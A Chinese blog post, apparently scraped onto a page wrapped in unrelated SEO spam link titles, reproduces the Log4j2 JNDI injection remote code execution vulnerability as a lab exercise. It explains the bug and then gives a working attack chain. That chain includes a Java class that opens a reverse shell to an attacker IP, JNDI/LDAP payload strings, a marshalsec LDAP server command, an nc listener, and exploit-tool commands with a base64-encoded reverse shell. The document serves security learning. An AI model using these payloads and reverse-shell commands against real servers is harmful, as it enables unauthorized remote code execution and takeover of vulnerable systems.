当前位置: 首页 > news >正文

优质的网站建设公司关键词排名是由什么决定的

优质的网站建设公司,关键词排名是由什么决定的,wordpress 错误提示,做网站需要准备的资料文章目录 一、log4j2二、背景三、影响版本四、漏洞原理五、LDAP和JNDI是什么六、漏洞手工复现1、利用DNSlog来测试漏洞是否存在2、加载恶意文件Exploit.java,将其编译成class文件3、开启web服务4、在恶意文件Exploit.class所在的目录开启LDAP服务5、监听反弹shell的…

文章目录

  • 一、log4j2
  • 二、背景
  • 三、影响版本
  • 四、漏洞原理
  • 五、LDAP和JNDI是什么
  • 六、漏洞手工复现
    • 1、利用DNSlog来测试漏洞是否存在
    • 2、加载恶意文件Exploit.java,将其编译成class文件
    • 3、开启web服务
    • 4、在恶意文件Exploit.class所在的目录开启LDAP服务
    • 5、监听反弹shell的端口
    • 6、返回前端,让受害者访问ldap的端口
    • 7、要点总结
  • 七、漏洞工具复现
    • 1、使用工具:JNDIExploit-1.2-SNAPSHOT.jar
    • 2、使用工具:JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
  • 八、总结


一、log4j2

log4j2是全球使用广泛的java日志框架,同时该漏洞还影响很多全球使用量的Top序列的通用开源组件。


二、背景

------ 2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。

------ 2021年12月9日,国内多家机构监测到Apache Log4j2存在任意代码执行漏洞,并紧急通报相关情况。由于Apache Log4j存在递归解析功能,未取得身份认证的用户,可以从远程发送数据请求输入数据日志,轻松触发漏洞,最终在目标上执行任意代码。鉴于Apache Log4j本身涉及多种应用组件,将此漏洞威胁等级调整为:严重。


三、影响版本

Log4j2.x<=2.14.1


四、漏洞原理

  • 构造的payload是这样的:
    ${jndi:ldap://xxx.xxx.xxx.xxx:1389/Exp}

------ 该漏洞是由于Apache Log4j2某些功能存在递归解析功能,未经身份验证的攻击者通过发送特定恶意数据包,可在目标服务器上执行任意代码。

------ Log4j2组件在处理程序日志记录时存在JNDI注入缺陷,未经授权的攻击者利用该漏洞,可向目标服务器发送精心构造的恶意数据,触发Log4j2组件解析缺陷,实现目标服务器的任意代码执行,获得目标服务器权限。


五、LDAP和JNDI是什么

------ LDAP全称是Lightweight Directory Access Protocol( 轻型目录访问协议),LDAP可以理解是一个简单存储数据的数据库。

------ LDAP有一个客户端和服务器端,server端是用来存放资源,client端主要用于查询等操作。服务端都是由各大厂商的产品的比如Microsoft的AD,当然可以自己做。客户端通过LDAP协议去访问服务器端。

------ JNDI (JAVA NAMING AND Directory interface,Java命名和目录接口),则是Java中用于访问LDAP的API,是为了Java程序访问命名服务和目录服务而提供的统一API。

------ 所以上述的payload ${jndi:ldap://xxx.xxx.xxx.xxx:1389/Exp}相当于ldap通过jndi来提供服务。xxx.xxx.xxx.xxx这个是LDAP服务器端的IP地址,LDAP服务器是默认开启1389端口的,Exp是一个不存在的文件名。说白了,就是通过java中的JNDI 访问ldap协议的服务。


六、漏洞手工复现

1、利用DNSlog来测试漏洞是否存在

在DNSlog上获取一个域名:dfkemb.dnslog.cn
在这里插入图片描述

在burp构造payload重新发送
${jndi:ldap:// dfkemb.dnslog.cn:1389/Exp}
在这里插入图片描述
加入返回包回显400,那就说明payload被过滤,这时候就可以把payload进行URL编码再发送。

返回DNSlog查看
在这里插入图片描述
这样就说明存在漏洞

2、加载恶意文件Exploit.java,将其编译成class文件

利用到javac来进行编译,但这对Java版本有要求,Java版本适用 的jdk 版本:JDK 11.0.1、8u191、7u201、6u211 之前
下面是Exploit.java的内容
在这里插入图片描述

// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class Exploit {static {try {Runtime rt = Runtime.getRuntime();String[] commands = {"bash", "-c", "bash -i >& /dev/tcp/192.168.188.177/1234 0>&1"};Process pc = rt.exec(commands);pc.waitFor();} catch (Exception e) {// do nothing}}
}

使用javac编译:javac Exploit.java
在这里插入图片描述
编译后就生产一个Exploit.class文件

3、开启web服务

python3 -m http.server 80
在这里插入图片描述

4、在恶意文件Exploit.class所在的目录开启LDAP服务

利用工具:marshalsec-0.0.3-SNAPSHOT-all.jar

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.188.177/#Exploit" 9999

在这里插入图片描述
这一步相当于把攻击机变成服务器,让目标服务器作为客户端来访问我的攻击机。

5、监听反弹shell的端口

nc -lvnp 1234
在这里插入图片描述

6、返回前端,让受害者访问ldap的端口

在这里插入图片描述

最后再回到监听窗口查看:
在这里插入图片描述
这里就成功反弹shell了。

7、要点总结

  • 上面第2、3、4、5步都是在攻击者端操作,只有第6步是在普通前端操作。
  • 上面一共开启了3个端口,分别是80、1234、9999。这分别对应的是:web服务、接收反弹shell的、ldap服务。

七、漏洞工具复现

1、使用工具:JNDIExploit-1.2-SNAPSHOT.jar

在这里插入图片描述
-i是攻击机所在的IP,-l是LDAP服务开启的端口,-p是web服务开启的端口,-u是攻击后payload的使用方式。

POC:
java -jar JNDIExploit-1.2-SNAPSHOT.jar -l 1389 -p 8888 -i 192.168.188.177
在这里插入图片描述

利用-u来查看使用的payload
在这里插入图片描述

选一条payload在前端来发送请求
这里选了ldap://null:1389/Basic/Command/[cmd] 这一条
在这里插入图片描述

2、使用工具:JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar

POC:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE4OC4xNzcvMjg4OCAwPiYx}|{base64,-d}|{bash,-i}” -A “192.168.188.177”

其中:YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE4OC4xNzcvMjg4OCAwPiYxbash -i >& /dev/tcp/192.168.188.177/2888 0>&1的反弹shell命令的base64编码

上面的POC就是让受害者访问192.168.188.177:1389这个开启了LDAP服务的攻击端,然后就反弹shell到192.168.188.177:2888这个地址和端口。

如下图
在这里插入图片描述
这图受害者要访问的POC是:ldap://192.168.101.130:1389/ayox8z


八、总结

------ Log4j2漏洞总的来说就是:因为Log4j2默认支持解析ldap/rmi协议(只要打印的日志中包括ldap/rmi协议即可),并会通过名称从ldap服务端其获取对应的Class文件,并使用ClassLoader在本地加载Ldap服务端返回的Class类。

------ Apache Log4j 远程代码执行漏洞,正是由于组件存在 Java JNDI 注入漏洞:当程序将用户输入的数据记入日志时,攻击者通过构造特殊请求,来触发 Apache Log4j2 中的远程代码执行漏洞,从而利用此漏洞在目标服务器上执行任意代码。

------ 利用jndi访问ldap服务后,ldap服务返回了class攻击代码,被攻击的服务器执行了攻击代码。远程代码执行漏洞,是利用了Log4j2可以对日志中的“${}”进行解析执行,来进行攻击的。

------ 简单来说就是Java中存在jndi这个接口用来访问ldap服务,因为Log4j2默认支持解析ldap/rmi协议,普通服务器访问ldap服务会直接解析服务中的class文件,而无需过滤。攻击者就利用这一点,在class文件中写入恶意代码,当普通服务器访问ldap服务时就会解析了存在恶意代码的class文件并且执行,从而被攻击。


http://www.hkea.cn/news/787963/

相关文章:

  • 永川集团网站建设免费网站seo诊断
  • 国外 上海网站建设网络营销推广方式案例
  • 24手表网站网络技术推广服务
  • 鞍山网站制作推广游戏推广员判几年
  • 360如何做网站优化网页设计制作软件
  • 金华网站建设电话电商运营主要负责什么
  • 百度的官方网站游戏推广工作好做吗
  • 著名的深圳网站建设网页快照
  • 政务网站建设要求快速排名软件哪个好
  • 自己网站怎么做优化色盲和色弱的区别
  • 苏州建网站公司seo网络推广培训班
  • 福清市建设局网站石家庄学院
  • 找考卷做要去哪个网站中国国家培训网官网查询
  • 软件系统开发的大概步骤优化网站标题名词解释
  • 院校网站建设模板建站平台
  • 淘宝网站内搜索引擎优化怎么做广告推广平台网站有哪些
  • 大片播放网站国外免费推广网站有哪些
  • flash网站cms排名sem优化软件
  • 申请完域名怎么做网站百度链接提交
  • 驻马店市可以做网站的公司百度搜索竞价排名
  • 郑州市做网站吉林百度查关键词排名
  • 济宁网站建设seo抖音seo源码搭建
  • 茂名网站建设方案书简述seo和sem的区别
  • 江西网站做的好的企业文化百度指数在哪里看
  • 山东电商网站建设seo网站排名优化公司
  • 赤峰市做网站公司今日的最新消息
  • 上海最大的贸易公司seo网络推广机构
  • jsp 网站开发广告发布平台
  • b2c网站综合对比评价站长统计幸福宝
  • 网站建设意见做推广app赚钱的项目